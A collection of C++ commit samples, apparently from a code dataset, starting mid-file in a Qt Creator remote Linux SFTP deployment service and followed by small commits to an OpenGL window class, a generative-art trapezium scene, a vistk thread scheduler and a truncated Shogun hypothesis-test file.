: AbstractRemoteLinuxDeployService(parent), d(new GenericDirectUploadServicePrivate)
{
}
void GenericDirectUploadService::setDeployableFiles(const QList<DeployableFile> &deployableFiles)
{
d->deployableFiles = deployableFiles;
}
void GenericDirectUploadService::setIncrementalDeployment(bool incremental)
{
d->incremental = incremental;
}
bool GenericDirectUploadService::isDeploymentNecessary() const
{
d->filesToUpload.clear();
for (int i = 0; i < d->deployableFiles.count(); ++i)
checkDeploymentNeeded(d->deployableFiles.at(i));
return !d->filesToUpload.isEmpty();
}
void GenericDirectUploadService::doDeviceSetup()
{
QTC_ASSERT(d->state == Inactive, return);
handleDeviceSetupDone(true);
}
void GenericDirectUploadService::stopDeviceSetup()
{
QTC_ASSERT(d->state == Inactive, return);
handleDeviceSetupDone(false);
}
void GenericDirectUploadService::doDeploy()
{
QTC_ASSERT(d->state == Inactive, setFinished(); return);
d->uploader = connection()->createSftpChannel();
connect(d->uploader.data(), SIGNAL(initialized()), SLOT(handleSftpInitialized()));
connect(d->uploader.data(), SIGNAL(initializationFailed(QString)),
SLOT(handleSftpInitializationFailed(QString)));
d->uploader->initialize();
d->state = InitializingSftp;
}
void GenericDirectUploadService::handleSftpInitialized()
{
QTC_ASSERT(d->state == InitializingSftp, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
return;
}
Q_ASSERT(!d->filesToUpload.isEmpty());
connect(d->uploader.data(), SIGNAL(finished(Utils::SftpJobId,QString)),
SLOT(handleUploadFinished(Utils::SftpJobId,QString)));
d->state = Uploading;
uploadNextFile();
}
void GenericDirectUploadService::handleSftpInitializationFailed(const QString &message)
{
QTC_ASSERT(d->state == InitializingSftp, setFinished(); return);
emit errorMessage(tr("SFTP initialization failed: %1").arg(message));
setFinished();
handleDeploymentDone();
}
void GenericDirectUploadService::handleUploadFinished(Utils::SftpJobId jobId, const QString &errorMsg)
{
Q_UNUSED(jobId);
QTC_ASSERT(d->state == Uploading, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
}
const DeployableFile df = d->filesToUpload.takeFirst();
if (!errorMsg.isEmpty()) {
QString errorString = tr("Upload of file '%1' failed. The server said: '%2'.")
.arg(QDir::toNativeSeparators(df.localFilePath), errorMsg);
if (errorMsg == QLatin1String("Failure") && df.remoteDir.contains(QLatin1String("/bin"))) {
errorString += QLatin1Char(' ') + tr("If '%1' is currently running "
"on the remote host, you might need to stop it first.").arg(df.remoteFilePath());
}
emit errorMessage(errorString);
setFinished();
handleDeploymentDone();
} else {
saveDeploymentTimeStamp(df);
// Terrible hack for Windows.
if (df.remoteDir.contains(QLatin1String("bin"))) {
const QString command = QLatin1String("chmod a+x ") + df.remoteFilePath();
connection()->createRemoteProcess(command.toUtf8())->start();
}
uploadNextFile();
}
}
void GenericDirectUploadService::handleLnFinished(int exitStatus)
{
QTC_ASSERT(d->state == Uploading, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
}
const DeployableFile df = d->filesToUpload.takeFirst();
const QString nativePath = QDir::toNativeSeparators(df.localFilePath);
if (exitStatus != SshRemoteProcess::ExitedNormally || d->lnProc->exitCode() != 0) {
emit errorMessage(tr("Failed to upload file '%1'.").arg(nativePath));
setFinished();
handleDeploymentDone();
return;
} else {
saveDeploymentTimeStamp(df);
uploadNextFile();
}
}
void GenericDirectUploadService::handleMkdirFinished(int exitStatus)
{
QTC_ASSERT(d->state == Uploading, setFinished(); return);
if (d->stopRequested) {
setFinished();
handleDeploymentDone();
}
const DeployableFile &df = d->filesToUpload.first();
QFileInfo fi(df.localFilePath);
const QString nativePath = QDir::toNativeSeparators(df.localFilePath);
if (exitStatus != SshRemoteProcess::ExitedNormally || d->mkdirProc->exitCode() != 0) {
emit errorMessage(tr("Failed to upload file '%1'.").arg(nativePath));
setFinished();
handleDeploymentDone();
} else if (fi.isDir()) {
saveDeploymentTimeStamp(df);
d->filesToUpload.removeFirst();
uploadNextFile();
} else {
const QString remoteFilePath = df.remoteDir + QLatin1Char('/') + fi.fileName();
if (fi.isSymLink()) {
const QString target = fi.dir().relativeFilePath(fi.symLinkTarget()); // see QTBUG-5817.
const QString command = QLatin1String("ln -sf ") + target + QLatin1Char(' ')
+ remoteFilePath;
// See comment in SftpChannel::createLink as to why we can't use it.
d->lnProc = connection()->createRemoteProcess(command.toUtf8());
connect(d->lnProc.data(), SIGNAL(closed(int)), SLOT(handleLnFinished(int)));
connect(d->lnProc.data(), SIGNAL(readyReadStandardOutput()), SLOT(handleStdOutData()));
connect(d->lnProc.data(), SIGNAL(readyReadStandardError()), SLOT(handleStdErrData()));
d->lnProc->start();
} else {
const SftpJobId job = d->uploader->uploadFile(df.localFilePath, remoteFilePath,
SftpOverwriteExisting);
if (job == SftpInvalidJob) {
emit errorMessage(tr("Failed to upload file '%1': "
"Could not open for reading.").arg(nativePath));
setFinished();
handleDeploymentDone();
}
}
}
}
void GenericDirectUploadService::handleStdOutData()
{
SshRemoteProcess * const process = qobject_cast<SshRemoteProcess *>(sender());
if (process)
emit stdOutData(QString::fromUtf8(process->readAllStandardOutput()));
}
void GenericDirectUploadService::handleStdErrData()
{
SshRemoteProcess * const process = qobject_cast<SshRemoteProcess *>(sender());
if (process)
emit stdErrData(QString::fromUtf8(process->readAllStandardError()));
}
void GenericDirectUploadService::stopDeployment()
{
QTC_ASSERT(d->state == InitializingSftp || d->state == Uploading, setFinished(); return);
setFinished();
handleDeploymentDone();
}
void GenericDirectUploadService::checkDeploymentNeeded(const DeployableFile &deployable) const
{
QFileInfo fileInfo(deployable.localFilePath);
if (fileInfo.isDir()) {
const QStringList files = QDir(deployable.localFilePath)
.entryList(QDir::Files | QDir::Dirs | QDir::NoDotAndDotDot);
if (files.isEmpty() && (!d->incremental || hasChangedSinceLastDeployment(deployable)))
d->filesToUpload << deployable;
foreach (const QString &fileName, files) {
const QString localFilePath = deployable.localFilePath
+ QLatin1Char('/') + fileName;
const QString remoteDir = deployable.remoteDir + QLatin1Char('/')
+ fileInfo.fileName();
checkDeploymentNeeded(DeployableFile(localFilePath, remoteDir));
}
} else if (!d->incremental || hasChangedSinceLastDeployment(deployable)) {
d->filesToUpload << deployable;
}
}
void GenericDirectUploadService::setFinished()
{
d->stopRequested = false;
d->state = Inactive;
if (d->mkdirProc)
disconnect(d->mkdirProc.data(), 0, this, 0);
if (d->lnProc)
disconnect(d->lnProc.data(), 0, this, 0);
if (d->uploader) {
disconnect(d->uploader.data(), 0, this, 0);
d->uploader->closeChannel();
}
}
void GenericDirectUploadService::uploadNextFile()
{
if (d->filesToUpload.isEmpty()) {
emit progressMessage(tr("All files successfully deployed."));
setFinished();
handleDeploymentDone();
return;
}
const DeployableFile &df = d->filesToUpload.first();
QString dirToCreate = df.remoteDir;
if (dirToCreate.isEmpty()) {
emit warningMessage(tr("Warning: No remote path set for local file '%1'. Skipping upload.")
.arg(QDir::toNativeSeparators(df.localFilePath)));
d->filesToUpload.takeFirst();
uploadNextFile();
return;
}
QFileInfo fi(df.localFilePath);
if (fi.isDir())
dirToCreate += QLatin1Char('/') + fi.fileName();
const QString command = QLatin1String("mkdir -p ") + dirToCreate;
d->mkdirProc = connection()->createRemoteProcess(command.toUtf8());
connect(d->mkdirProc.data(), SIGNAL(closed(int)), SLOT(handleMkdirFinished(int)));
connect(d->mkdirProc.data(), SIGNAL(readyReadStandardOutput()), SLOT(handleStdOutData()));
connect(d->mkdirProc.data(), SIGNAL(readyReadStandardError()), SLOT(handleStdErrData()));
emit progressMessage(tr("Uploading file '%1'...")
.arg(QDir::toNativeSeparators(df.localFilePath)));
d->mkdirProc->start();
}
} //namespace RemoteLinux
<|endoftext|>
|
<commit_before>
#include "gloperate-qt/base/OpenGLWindow.h"
#include <QCoreApplication>
#include <QResizeEvent>
#include <QOpenGLContext>
#include <gloperate-qt/base/GLContext.h>
#include <gloperate-qt/base/GLContextFactory.h>
namespace gloperate_qt
{
OpenGLWindow::OpenGLWindow()
: m_context(nullptr)
, m_initialized(false)
, m_updatePending(false)
{
// Connect update timer
QObject::connect(
&m_timer, &QTimer::timeout,
this, &OpenGLWindow::onTimer
);
// Create window with OpenGL capability
setSurfaceType(OpenGLSurface);
create();
// Start timer
m_timer.setSingleShot(false);
m_timer.start(5);
}
OpenGLWindow::~OpenGLWindow()
{
}
void OpenGLWindow::setContextFormat(const gloperate::GLContextFormat & format)
{
m_format = format;
}
GLContext * OpenGLWindow::context() const
{
return m_context.get();
}
void OpenGLWindow::createContext()
{
// Destroy old context
if (m_context)
{
deinitializeContext();
}
// Create OpenGL context
GLContextFactory factory(this);
m_context = std::unique_ptr<GLContext>(
static_cast<GLContext*>(factory.createBestContext(m_format).release())
);
// Initialize new context
initializeContext();
}
void OpenGLWindow::destroyContext()
{
// Destroy old context
if (!m_context)
{
return;
}
deinitializeContext();
m_context = nullptr;
}
void OpenGLWindow::updateGL()
{
if (!m_updatePending)
{
m_updatePending = true;
QCoreApplication::postEvent(this, new QEvent(QEvent::UpdateRequest));
}
}
void OpenGLWindow::initializeContext()
{
if (m_initialized)
{
return;
}
m_context->qtContext()->makeCurrent(this);
onContextInit();
m_context->qtContext()->doneCurrent();
m_initialized = true;
}
void OpenGLWindow::deinitializeContext()
{
if (!m_initialized)
{
return;
}
m_context->qtContext()->makeCurrent(this);
onContextDeinit();
m_context->qtContext()->doneCurrent();
m_initialized = false;
}
void OpenGLWindow::resize(QResizeEvent * event)
{
if (!m_initialized) {
initializeContext();
}
m_context->qtContext()->makeCurrent(this);
QSize deviceSize = event->size() * devicePixelRatio();
QSize virtualSize = event->size();
onResize(deviceSize, virtualSize);
m_context->qtContext()->doneCurrent();
}
void OpenGLWindow::paint()
{
if (!m_initialized) {
initializeContext();
}
if (!isExposed()) {
return;
}
m_updatePending = false;
m_context->qtContext()->makeCurrent(this);
onPaint();
m_context->qtContext()->swapBuffers(this);
m_context->qtContext()->doneCurrent();
}
void OpenGLWindow::onContextInit()
{
}
void OpenGLWindow::onContextDeinit()
{
}
void OpenGLWindow::onResize(const QSize &, const QSize &)
{
}
void OpenGLWindow::onPaint()
{
}
void OpenGLWindow::onTimer()
{
}
bool OpenGLWindow::event(QEvent * event)
{
switch (event->type())
{
case QEvent::UpdateRequest:
paint();
return true;
case QEvent::Enter:
enterEvent(event);
return true;
case QEvent::Leave:
leaveEvent(event);
return true;
default:
return QWindow::event(event);
}
}
void OpenGLWindow::resizeEvent(QResizeEvent * event)
{
resize(event);
}
void OpenGLWindow::exposeEvent(QExposeEvent * )
{
paint();
}
void OpenGLWindow::enterEvent(QEvent *)
{
}
void OpenGLWindow::leaveEvent(QEvent *)
{
}
} // namespace gloperate_qt
<commit_msg>Fix qt context initialization<commit_after>
#include "gloperate-qt/base/OpenGLWindow.h"
#include <QCoreApplication>
#include <QResizeEvent>
#include <QOpenGLContext>
#include <gloperate-qt/base/GLContext.h>
#include <gloperate-qt/base/GLContextFactory.h>
namespace gloperate_qt
{
OpenGLWindow::OpenGLWindow()
: m_context(nullptr)
, m_initialized(false)
, m_updatePending(false)
{
// Connect update timer
QObject::connect(
&m_timer, &QTimer::timeout,
this, &OpenGLWindow::onTimer
);
// Create window with OpenGL capability
setSurfaceType(OpenGLSurface);
create();
// Start timer
m_timer.setSingleShot(false);
m_timer.start(5);
}
OpenGLWindow::~OpenGLWindow()
{
}
void OpenGLWindow::setContextFormat(const gloperate::GLContextFormat & format)
{
m_format = format;
}
GLContext * OpenGLWindow::context() const
{
return m_context.get();
}
void OpenGLWindow::createContext()
{
// Destroy old context
if (m_context)
{
deinitializeContext();
}
// Create OpenGL context
GLContextFactory factory(this);
m_context = std::unique_ptr<GLContext>(
static_cast<GLContext*>(factory.createBestContext(m_format).release())
);
// Initialize new context
initializeContext();
}
void OpenGLWindow::destroyContext()
{
// Destroy old context
if (!m_context)
{
return;
}
deinitializeContext();
m_context = nullptr;
}
void OpenGLWindow::updateGL()
{
if (!m_updatePending)
{
m_updatePending = true;
QCoreApplication::postEvent(this, new QEvent(QEvent::UpdateRequest));
}
}
void OpenGLWindow::initializeContext()
{
if (m_initialized)
{
return;
}
m_context->qtContext()->makeCurrent(this);
onContextInit();
m_context->qtContext()->doneCurrent();
m_initialized = true;
}
void OpenGLWindow::deinitializeContext()
{
if (!m_initialized)
{
return;
}
m_context->qtContext()->makeCurrent(this);
onContextDeinit();
m_context->qtContext()->doneCurrent();
m_initialized = false;
}
void OpenGLWindow::resize(QResizeEvent * event)
{
if (!m_context)
{
return;
}
if (!m_initialized) {
initializeContext();
}
m_context->qtContext()->makeCurrent(this);
QSize deviceSize = event->size() * devicePixelRatio();
QSize virtualSize = event->size();
onResize(deviceSize, virtualSize);
m_context->qtContext()->doneCurrent();
}
void OpenGLWindow::paint()
{
if (!m_context)
{
return;
}
if (!m_initialized) {
initializeContext();
}
if (!isExposed()) {
return;
}
m_updatePending = false;
m_context->qtContext()->makeCurrent(this);
onPaint();
m_context->qtContext()->swapBuffers(this);
m_context->qtContext()->doneCurrent();
}
void OpenGLWindow::onContextInit()
{
}
void OpenGLWindow::onContextDeinit()
{
}
void OpenGLWindow::onResize(const QSize &, const QSize &)
{
}
void OpenGLWindow::onPaint()
{
}
void OpenGLWindow::onTimer()
{
}
bool OpenGLWindow::event(QEvent * event)
{
switch (event->type())
{
case QEvent::UpdateRequest:
paint();
return true;
case QEvent::Enter:
enterEvent(event);
return true;
case QEvent::Leave:
leaveEvent(event);
return true;
default:
return QWindow::event(event);
}
}
void OpenGLWindow::resizeEvent(QResizeEvent * event)
{
resize(event);
}
void OpenGLWindow::exposeEvent(QExposeEvent * )
{
paint();
}
void OpenGLWindow::enterEvent(QEvent *)
{
}
void OpenGLWindow::leaveEvent(QEvent *)
{
}
} // namespace gloperate_qt
<|endoftext|>
|
<commit_before>
#include "veraMolnarTrapezium.h"
void veraMolnarTrapezium::setup(){
iCenterX = 0;
iCenterY = 1;
iTopLeftOffsetX = 2;
iTopRightOffsetX = 3;
iBottomLeftOffsetX = 4;
iBottomRightOffsetX = 5;
fboScale = 2;
bigScreen.allocate(dimensions.width*fboScale, dimensions.height*fboScale);
// setup pramaters
// param.set("param", 5, 0, 100);
// parameters.add(param);
spacingPercent.set("spacingPercent", 1.2, 0, 10);
spacingPercentX.set("spacingPercentX", 1.2, 0, 10);
spacingPercentY.set("spacingPercentY", 1.2, 0, 10);
unifiedSpacing.set("unifiedSpacing", true);
whiteBackground.set("whiteBackground", false);
numWide.set("numWide", 40, 1, 100);
baseSize.set("baseSize", 140, 40, bigScreen.getWidth());
cornerNoise.set("cornerNoise", 0., 0., 1.);
centerNoise.set("centerNoise", 0., 0., 1.);
parameters.add(baseSize);
parameters.add(spacingPercent);
parameters.add(unifiedSpacing);
parameters.add(spacingPercentX);
parameters.add(spacingPercentY);
parameters.add(numWide);
parameters.add(cornerNoise);
parameters.add(centerNoise);
parameters.add(whiteBackground);
setAuthor("Quin Kennedy");
setOriginalArtist("Vera Molnar");
loadCode("scenes/veraMolnarTrapezium/exampleCode.cpp");
}
void veraMolnarTrapezium::update(){
if (unifiedSpacing){
spacingPercentX = spacingPercent;
spacingPercentY = spacingPercent;
}
while(placements.size() < numWide*numWide){
//centerX, centerY,
//topLeftOffsetX, topRightOffsetX,
//bottomLeftOffsetX, bottomRightOffsetX
placements.push_back({
ofRandom(0, 1),
ofRandom(0, 1),
ofRandom(-1, 1),
ofRandom(-1, 1),
ofRandom(-1, 1),
ofRandom(-1, 1)});
}
}
void veraMolnarTrapezium::draw(){
bigScreen.begin();
if (whiteBackground){
ofBackground(255);
ofSetColor(0);
} else {
ofBackground(0);
ofSetColor(255);
}
ofSetLineWidth(3);
for(int row = 0; row < numWide; row++){
for(int column = 0; column < numWide; column++){
drawTrapezium(row, column);
}
}
bigScreen.end();
bigScreen.draw(0, 0, dimensions.width, dimensions.height);
}
void veraMolnarTrapezium::drawTrapezium(int row, int column){
float spacingX, spacingY;
if (unifiedSpacing){
spacingX = spacingY = baseSize * spacingPercent;
} else {
spacingX = baseSize * spacingPercentX;
spacingY = baseSize * spacingPercentY;
}
int index = row * numWide + column;
float gridLeft = (bigScreen.getWidth() - numWide * spacingX) / 2;
float gridTop = (bigScreen.getHeight() - numWide * spacingY) / 2;
float leftmostCenter = gridLeft + spacingX / 2;
float rightmostCenter = leftmostCenter + (numWide - 1) * spacingX;
float topmostCenter = gridTop + spacingY / 2;
float bottommostCenter = topmostCenter + (numWide - 1) * spacingY;
float startCenterX = leftmostCenter + column * spacingX;
float startCenterY = topmostCenter + row * spacingY;
float centerSpanX = (rightmostCenter - leftmostCenter);
float centerSpanY = (bottommostCenter - topmostCenter);
float targetCenterX = centerSpanX * placements[index][iCenterX] + leftmostCenter;
float targetCenterY = centerSpanY * placements[index][iCenterY] + topmostCenter;
float centerX =
startCenterX * (1. - centerNoise) +
targetCenterX * centerNoise;
float centerY =
startCenterY * (1. - centerNoise) +
targetCenterY * centerNoise;
float top = centerY - baseSize / 2;
float bottom = centerY + baseSize / 2;
float left = centerX - baseSize / 2;
float right = centerX + baseSize / 2;
float cornerMagnitude = cornerNoise * baseSize;
ofVec2f topLeft = ofVec2f(top, left);
topLeft.x += placements[index][iTopLeftOffsetX] * cornerMagnitude;
ofVec2f topRight = ofVec2f(top, right);
topRight.x += placements[index][iTopRightOffsetX] * cornerMagnitude;
ofVec2f bottomRight = ofVec2f(bottom, right);
bottomRight.x += placements[index][iBottomRightOffsetX] * cornerMagnitude;
ofVec2f bottomLeft = ofVec2f(bottom, left);
bottomLeft.x += placements[index][iBottomLeftOffsetX] * cornerMagnitude;
ofDrawLine(topLeft.x, topLeft.y, topRight.x, topRight.y);
ofDrawLine(topRight.x, topRight.y, bottomRight.x, bottomRight.y);
ofDrawLine(bottomRight.x, bottomRight.y, bottomLeft.x, bottomLeft.y);
ofDrawLine(bottomLeft.x, bottomLeft.y, topLeft.x, topLeft.y);
}
<commit_msg>remove numWide from veraMolnarTrapezium<commit_after>
#include "veraMolnarTrapezium.h"
void veraMolnarTrapezium::setup(){
iCenterX = 0;
iCenterY = 1;
iTopLeftOffsetX = 2;
iTopRightOffsetX = 3;
iBottomLeftOffsetX = 4;
iBottomRightOffsetX = 5;
fboScale = 2;
bigScreen.allocate(dimensions.width*fboScale, dimensions.height*fboScale);
// setup pramaters
// param.set("param", 5, 0, 100);
// parameters.add(param);
spacingPercent.set("spacingPercent", 1.2, 0, 10);
spacingPercentX.set("spacingPercentX", 1.2, 0, 10);
spacingPercentY.set("spacingPercentY", 1.2, 0, 10);
unifiedSpacing.set("unifiedSpacing", true);
whiteBackground.set("whiteBackground", false);
numWide.set("numWide", 40, 1, 100);
baseSize.set("baseSize", 140, 40, bigScreen.getWidth());
cornerNoise.set("cornerNoise", 0., 0., 1.);
centerNoise.set("centerNoise", 0., 0., 1.);
parameters.add(baseSize);
parameters.add(spacingPercent);
parameters.add(unifiedSpacing);
parameters.add(spacingPercentX);
parameters.add(spacingPercentY);
//parameters.add(numWide);
parameters.add(cornerNoise);
parameters.add(centerNoise);
parameters.add(whiteBackground);
setAuthor("Quin Kennedy");
setOriginalArtist("Vera Molnar");
loadCode("scenes/veraMolnarTrapezium/exampleCode.cpp");
}
void veraMolnarTrapezium::update(){
if (unifiedSpacing){
spacingPercentX = spacingPercent;
spacingPercentY = spacingPercent;
}
while(placements.size() < numWide*numWide){
//centerX, centerY,
//topLeftOffsetX, topRightOffsetX,
//bottomLeftOffsetX, bottomRightOffsetX
placements.push_back({
ofRandom(0, 1),
ofRandom(0, 1),
ofRandom(-1, 1),
ofRandom(-1, 1),
ofRandom(-1, 1),
ofRandom(-1, 1)});
}
}
void veraMolnarTrapezium::draw(){
bigScreen.begin();
if (whiteBackground){
ofBackground(255);
ofSetColor(0);
} else {
ofBackground(0);
ofSetColor(255);
}
ofSetLineWidth(3);
for(int row = 0; row < numWide; row++){
for(int column = 0; column < numWide; column++){
drawTrapezium(row, column);
}
}
bigScreen.end();
bigScreen.draw(0, 0, dimensions.width, dimensions.height);
}
void veraMolnarTrapezium::drawTrapezium(int row, int column){
float spacingX, spacingY;
if (unifiedSpacing){
spacingX = spacingY = baseSize * spacingPercent;
} else {
spacingX = baseSize * spacingPercentX;
spacingY = baseSize * spacingPercentY;
}
int index = row * numWide + column;
float gridLeft = (bigScreen.getWidth() - numWide * spacingX) / 2;
float gridTop = (bigScreen.getHeight() - numWide * spacingY) / 2;
float leftmostCenter = gridLeft + spacingX / 2;
float rightmostCenter = leftmostCenter + (numWide - 1) * spacingX;
float topmostCenter = gridTop + spacingY / 2;
float bottommostCenter = topmostCenter + (numWide - 1) * spacingY;
float startCenterX = leftmostCenter + column * spacingX;
float startCenterY = topmostCenter + row * spacingY;
float centerSpanX = (rightmostCenter - leftmostCenter);
float centerSpanY = (bottommostCenter - topmostCenter);
float targetCenterX = centerSpanX * placements[index][iCenterX] + leftmostCenter;
float targetCenterY = centerSpanY * placements[index][iCenterY] + topmostCenter;
float centerX =
startCenterX * (1. - centerNoise) +
targetCenterX * centerNoise;
float centerY =
startCenterY * (1. - centerNoise) +
targetCenterY * centerNoise;
float top = centerY - baseSize / 2;
float bottom = centerY + baseSize / 2;
float left = centerX - baseSize / 2;
float right = centerX + baseSize / 2;
float cornerMagnitude = cornerNoise * baseSize;
ofVec2f topLeft = ofVec2f(top, left);
topLeft.x += placements[index][iTopLeftOffsetX] * cornerMagnitude;
ofVec2f topRight = ofVec2f(top, right);
topRight.x += placements[index][iTopRightOffsetX] * cornerMagnitude;
ofVec2f bottomRight = ofVec2f(bottom, right);
bottomRight.x += placements[index][iBottomRightOffsetX] * cornerMagnitude;
ofVec2f bottomLeft = ofVec2f(bottom, left);
bottomLeft.x += placements[index][iBottomLeftOffsetX] * cornerMagnitude;
ofDrawLine(topLeft.x, topLeft.y, topRight.x, topRight.y);
ofDrawLine(topRight.x, topRight.y, bottomRight.x, bottomRight.y);
ofDrawLine(bottomRight.x, bottomRight.y, bottomLeft.x, bottomLeft.y);
ofDrawLine(bottomLeft.x, bottomLeft.y, topLeft.x, topLeft.y);
}
<|endoftext|>
|
<commit_before>/*ckwg +5
* Copyright 2011-2012 by Kitware, Inc. All Rights Reserved. Please refer to
* KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,
* Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.
*/
#include "thread_per_process_schedule.h"
#include <vistk/pipeline/config.h>
#include <vistk/pipeline/datum.h>
#include <vistk/pipeline/edge.h>
#include <vistk/pipeline/pipeline.h>
#include <vistk/pipeline/schedule_exception.h>
#include <vistk/pipeline/utils.h>
#include <boost/thread/thread.hpp>
#include <boost/foreach.hpp>
#include <boost/make_shared.hpp>
/**
* \file thread_per_process_schedule.cxx
*
* \brief Implementation of the thread-per-process schedule.
*/
namespace vistk
{
static void run_process(process_t process);
class thread_per_process_schedule::priv
{
public:
priv();
~priv();
boost::thread_group process_threads;
};
thread_per_process_schedule
::thread_per_process_schedule(config_t const& config, pipeline_t const& pipe)
: schedule(config, pipe)
, d(new priv)
{
pipeline_t const p = pipeline();
process::names_t const names = p->process_names();
BOOST_FOREACH (process::name_t const& name, names)
{
process_t const proc = p->process_by_name(name);
process::constraints_t const consts = proc->constraints();
process::constraints_t::const_iterator i;
i = consts.find(process::constraint_no_threads);
if (i != consts.end())
{
std::string const reason = "The process \'" + name + "\' does "
"not support being in its own thread";
throw incompatible_pipeline_exception(reason);
}
}
}
thread_per_process_schedule
::~thread_per_process_schedule()
{
}
void
thread_per_process_schedule
::_start()
{
pipeline_t const p = pipeline();
process::names_t const names = p->process_names();
BOOST_FOREACH (process::name_t const& name, names)
{
process_t process = pipeline()->process_by_name(name);
d->process_threads.create_thread(boost::bind(run_process, process));
}
}
void
thread_per_process_schedule
::_wait()
{
d->process_threads.join_all();
}
void
thread_per_process_schedule
::_stop()
{
d->process_threads.interrupt_all();
}
thread_per_process_schedule::priv
::priv()
{
}
thread_per_process_schedule::priv
::~priv()
{
}
static config_t monitor_edge_config();
void
run_process(process_t process)
{
config_t const edge_conf = monitor_edge_config();
name_thread(process->name());
edge_t monitor_edge = boost::make_shared<edge>(edge_conf);
process->connect_output_port(process::port_heartbeat, monitor_edge);
bool complete = false;
while (!complete)
{
process->step();
while (monitor_edge->has_data())
{
edge_datum_t const edat = monitor_edge->get_datum();
datum_t const dat = edat.get<0>();
if (dat->type() == datum::complete)
{
complete = true;
}
}
boost::this_thread::interruption_point();
}
}
config_t
monitor_edge_config()
{
config_t conf = config::empty_config();
return conf;
}
}
<commit_msg>Add a const specifier<commit_after>/*ckwg +5
* Copyright 2011-2012 by Kitware, Inc. All Rights Reserved. Please refer to
* KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,
* Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.
*/
#include "thread_per_process_schedule.h"
#include <vistk/pipeline/config.h>
#include <vistk/pipeline/datum.h>
#include <vistk/pipeline/edge.h>
#include <vistk/pipeline/pipeline.h>
#include <vistk/pipeline/schedule_exception.h>
#include <vistk/pipeline/utils.h>
#include <boost/thread/thread.hpp>
#include <boost/foreach.hpp>
#include <boost/make_shared.hpp>
/**
* \file thread_per_process_schedule.cxx
*
* \brief Implementation of the thread-per-process schedule.
*/
namespace vistk
{
static void run_process(process_t process);
class thread_per_process_schedule::priv
{
public:
priv();
~priv();
boost::thread_group process_threads;
};
thread_per_process_schedule
::thread_per_process_schedule(config_t const& config, pipeline_t const& pipe)
: schedule(config, pipe)
, d(new priv)
{
pipeline_t const p = pipeline();
process::names_t const names = p->process_names();
BOOST_FOREACH (process::name_t const& name, names)
{
process_t const proc = p->process_by_name(name);
process::constraints_t const consts = proc->constraints();
process::constraints_t::const_iterator i;
i = consts.find(process::constraint_no_threads);
if (i != consts.end())
{
std::string const reason = "The process \'" + name + "\' does "
"not support being in its own thread";
throw incompatible_pipeline_exception(reason);
}
}
}
thread_per_process_schedule
::~thread_per_process_schedule()
{
}
void
thread_per_process_schedule
::_start()
{
pipeline_t const p = pipeline();
process::names_t const names = p->process_names();
BOOST_FOREACH (process::name_t const& name, names)
{
process_t const process = pipeline()->process_by_name(name);
d->process_threads.create_thread(boost::bind(run_process, process));
}
}
void
thread_per_process_schedule
::_wait()
{
d->process_threads.join_all();
}
void
thread_per_process_schedule
::_stop()
{
d->process_threads.interrupt_all();
}
thread_per_process_schedule::priv
::priv()
{
}
thread_per_process_schedule::priv
::~priv()
{
}
static config_t monitor_edge_config();
void
run_process(process_t process)
{
config_t const edge_conf = monitor_edge_config();
name_thread(process->name());
edge_t monitor_edge = boost::make_shared<edge>(edge_conf);
process->connect_output_port(process::port_heartbeat, monitor_edge);
bool complete = false;
while (!complete)
{
process->step();
while (monitor_edge->has_data())
{
edge_datum_t const edat = monitor_edge->get_datum();
datum_t const dat = edat.get<0>();
if (dat->type() == datum::complete)
{
complete = true;
}
}
boost::this_thread::interruption_point();
}
}
config_t
monitor_edge_config()
{
config_t conf = config::empty_config();
return conf;
}
}
<|endoftext|>
|
<commit_before>/*
* Restructuring Shogun's statistical hypothesis testing framework.
* Copyright (C) 2016 Soumyajit De
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <shogun/statistical_testing/TwoDistributionTest.h>
#include <shogun/statistical_testing/internals/DataManager.h>
#include <shogun/statistical_testing/internals/TestTypes.h>
using namespace shogun;
using namespace internal;
CTwoDistributionTest::CTwoDistributionTest(index_t num_kernels)
: CHypothesisTest(TwoDistributionTest::num_feats, num_kernels)
{
}
CTwoDistributionTest::~CTwoDistributionTest()
{
}
void CTwoDistributionTest::set_p(CFeatures* samples_from_p)
{
auto& dm = get_data_manager();
dm.samples_at(0) = samples_from_p;
}
CFeatures* CTwoDistributionTest::get_p() const
{
const auto& dm = get_data_manager();
return dm.samples_at(0);
}
void CTwoDistributionTest::set_q(CFeatures* samples_from_q)
{
auto& dm = get_data_manager();
dm.samples_at(1) = samples_from_q;
}
CFeatures* CTwoDistributionTest::get_q() const
{
const auto& dm = get_data_manager();
return dm.samples_at(1);
}
void CTwoDistributionTest::set_num_samples_p(index_t num_samples_from_p)
{
auto& dm = get_data_manager();
dm.num_samples_at(0) = num_samples_from_p;
}
const index_t CTwoDistributionTest::get_num_samples_p() const
{
const auto& dm = get_data_manager();
return dm.num_samples_at(0);
}
void CTwoDistributionTest::set_num_samples_q(index_t num_samples_from_q)
{
auto& dm = get_data_manager();
dm.num_samples_at(1) = num_samples_from_q;
}
const index_t CTwoDistributionTest::get_num_samples_q() const
{
const auto& dm = get_data_manager();
return dm.num_samples_at(1);
}
const char* CTwoDistributionTest::get_name() const
{
return "TwoDistributionTest";
}
<commit_msg>minor style fixes<commit_after>/*
* Restructuring Shogun's statistical hypothesis testing framework.
* Copyright (C) 2016 Soumyajit De
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <shogun/statistical_testing/TwoDistributionTest.h>
#include <shogun/statistical_testing/internals/DataManager.h>
